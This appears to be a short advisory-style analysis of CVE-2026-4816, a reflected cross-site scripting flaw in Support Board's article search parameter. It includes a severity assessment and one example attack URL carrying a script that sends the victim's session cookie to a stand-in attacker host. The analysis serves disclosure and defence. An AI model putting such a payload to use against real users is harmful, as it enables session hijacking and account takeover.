Support Board CVE-2026-4816

While no CVSS score or EPSS value has been published for CVE-2026-4816, the vulnerability exhibits characteristics typical of high-severity XSS flaws: the attack vector is network-based (reflected XSS via URL parameter), attack complexity is low (simple URL manipulation), and no privileges are required. The absence of a published CVSS or EPSS score suggests either limited community assessment or delay in official scoring. However, the presence of a vendor patch from INCIBE indicates the vulnerability is credible and worth prioritizing. Reflected XSS vulnerabilities are highly automatable, allow full session hijacking, and can enable persistent compromise if combined with stored data exfiltration. Real-world risk is moderate-to-high depending on deployment scope and whether Support Board instances are internet-facing or internal-only. This is not a low-real-risk issue; it warrants immediate patching.

An attacker crafts a malicious URL such as 'https://target.com/supportboard/include/articles.php?search=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>' and sends it to a Support Board user via email or social engineering. When the victim clicks the link while authenticated, the unvalidated 'search' parameter is reflected into the HTML page without encoding, causing the JavaScript to execute in the victim's browser. The attacker's script silently exfiltrates the victim's session cookie to an attacker-controlled server, enabling full account takeover. This attack requires no special technical complexity and succeeds against any victim who clicks the link.